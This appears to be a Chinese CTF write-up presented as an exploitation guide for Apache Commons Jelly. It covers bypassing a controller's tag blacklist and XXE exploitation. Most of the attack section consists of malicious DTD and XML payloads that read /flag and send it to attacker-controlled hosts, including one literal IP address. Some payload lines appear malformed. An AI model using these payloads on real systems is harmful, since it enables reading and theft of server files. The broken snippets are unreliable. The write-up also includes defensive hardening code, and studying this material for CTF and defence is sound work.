Apache Commons Jelly漏洞分析
字数 708 2025-08-22 12:22:42

Apache Commons Jelly漏洞分析与利用指南

一、Apache Commons Jelly简介

Apache Commons Jelly是一种将XML转换为可执行代码的工具,是一个基于Java和XML的脚本和处理引擎。主要特点包括:

  • 作为Ant、Maven等构建工具的前端
  • 用于JellyUnit等测试框架
  • 用于集成或工作流系统
  • 作为Cocoon等引擎内的页面模板系统

基本使用示例

pom.xml依赖配置

<dependency>
    <groupId>commons-jelly</groupId>
    <artifactId>commons-jelly</artifactId>
    <version>1.0.1</version>
</dependency>

Jelly脚本示例

<document time="${now}">
    Welcome ${user.name} to Jelly!
</document>

Jelly模板示例

<?xml version="1.0"?>
<j:jelly trim="false" xmlns:j="jelly:core" xmlns:x="jelly:xml" xmlns:html="jelly:html">
    <html>
        <head>
            <title>${name}'s Page</title>
        </head>
        <body bgcolor="${background}" text="#FFFFFF">
            <h1>${name}'s Homepage</h1>
            
            <h2>My Hobbies</h2>
            <ul>
                <j:forEach items="${hobbies}" var="i">
                    <li>${i}</li>
                </j:forEach>
            </ul>
        </body>
    </html>
</j:jelly>

二、漏洞分析

1. 题目源码分析

题目提供了一个Spring Boot控制器,主要功能是解析Jelly脚本:

@Controller
public class IndexController {
    private static Boolean check(String uri) throws IOException, ParserConfigurationException, SAXException {
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        dbf.setNamespaceAware(true);
        Document doc = dbf.newDocumentBuilder().parse(uri);
        
        // 黑名单检查
        int tag1 = doc.getElementsByTagNameNS("*", "expr").getLength();
        int tag2 = doc.getElementsByTagNameNS("*", "import").getLength();
        int tag3 = doc.getElementsByTagNameNS("*", "include").getLength();
        int tag4 = doc.getElementsByTagNameNS("*", "invoke").getLength();
        int tag5 = doc.getElementsByTagNameNS("*", "invokeStatic").getLength();
        int tag6 = doc.getElementsByTagNameNS("*", "new").getLength();
        int tag7 = doc.getElementsByTagNameNS("*", "parse").getLength();
        int tag8 = doc.getElementsByTagNameNS("*", "set").getLength();
        int tag9 = doc.getElementsByTagNameNS("*", "setProperties").getLength();
        int tag10 = doc.getElementsByTagNameNS("*", "out").getLength();
        int tag11 = doc.getElementsByTagNameNS("*", "useBean").getLength();
        
        if (tag1 > 0 || tag2 > 0 || tag3 > 0 || tag4 > 0 || tag5 > 0 || 
            tag6 > 0 || tag7 > 0 || tag8 > 0 || tag9 > 0 || tag10 > 0 || tag11 > 0) {
            return false;
        }
        return true;
    }

    @RequestMapping({"/jelly"})
    @ResponseBody
    public String Jelly(@RequestParam(required = true) String uri) {
        try {
            if (!check(uri).booleanValue()) {
                return "no way :(";
            }
            JellyContext context = new JellyContext();
            context.compileScript(uri).run(context, XMLOutput.createXMLOutput(System.out));
            return "Tasty Jelly :)";
        } catch (Exception e) {
            return "no way :(";
        }
    }
}

2. 漏洞点分析

  1. 黑名单绕过:虽然代码检查了11个危险标签,但未检查file标签
  2. XXE漏洞:Apache Commons Jelly 1.0版本存在XXE漏洞

三、漏洞利用方法

1. 文件写入尝试(失败)

尝试使用j:out标签写入文件:

<?xml version="1.0" encoding="UTF-8"?>
<j:jelly xmlns:j="jelly">
    <j:out name="output.xml">
        <j:content>
            This is the content that will be written to the file.
        </j:content>
    </j:out>
</j:jelly>

但实际测试发现无法覆盖jar包。

2. XXE漏洞利用

利用XXE漏洞进行数据外带:

  1. 准备恶意DTD文件(放置在攻击者服务器上):
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://xxx/xxe.php?q=%file;'>">
%all;

<!ENTITY % exp "<!ENTITY % data SYSTEM 'http://vps-ip:2333/?%file;'>">
%exp;
  1. 启动HTTP服务
python -m http.server 2333
  1. 构造恶意XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % file SYSTEM "file:///flag">
    <!ENTITY % dtd SYSTEM "http://attacker.com/pd.dtd">
    %dtd;
    %send;
]>
<root></root>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % file SYSTEM "file:///flag">
    <!ENTITY % dtd SYSTEM "http://124.220.37.173/a.dtd">
    %dtd;
    %data;
]>
<root></root>

四、防御措施

  1. 升级版本:使用最新版本的Apache Commons Jelly
  2. 禁用外部实体
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    
  3. 完善黑名单:增加对file等危险标签的检查
  4. 输入验证:对用户输入的URI进行严格验证

五、总结

Apache Commons Jelly在处理XML时存在XXE漏洞,攻击者可以通过构造恶意XML文件读取服务器上的敏感文件。防御的关键在于禁用外部实体解析、完善输入验证和使用最新版本库。

Apache Commons Jelly漏洞分析与利用指南 一、Apache Commons Jelly简介 Apache Commons Jelly是一种将XML转换为可执行代码的工具,是一个基于Java和XML的脚本和处理引擎。主要特点包括: 作为Ant、Maven等构建工具的前端 用于JellyUnit等测试框架 用于集成或工作流系统 作为Cocoon等引擎内的页面模板系统 基本使用示例 pom.xml依赖配置 : Jelly脚本示例 : Jelly模板示例 : 二、漏洞分析 1. 题目源码分析 题目提供了一个Spring Boot控制器,主要功能是解析Jelly脚本: 2. 漏洞点分析 黑名单绕过 :虽然代码检查了11个危险标签,但未检查 file 标签 XXE漏洞 :Apache Commons Jelly 1.0版本存在XXE漏洞 三、漏洞利用方法 1. 文件写入尝试(失败) 尝试使用 j:out 标签写入文件: 但实际测试发现无法覆盖jar包。 2. XXE漏洞利用 利用XXE漏洞进行数据外带: 准备恶意DTD文件 (放置在攻击者服务器上): 或 启动HTTP服务 : 构造恶意XML : 或 四、防御措施 升级版本 :使用最新版本的Apache Commons Jelly 禁用外部实体 : 完善黑名单 :增加对 file 等危险标签的检查 输入验证 :对用户输入的URI进行严格验证 五、总结 Apache Commons Jelly在处理XML时存在XXE漏洞,攻击者可以通过构造恶意XML文件读取服务器上的敏感文件。防御的关键在于禁用外部实体解析、完善输入验证和使用最新版本库。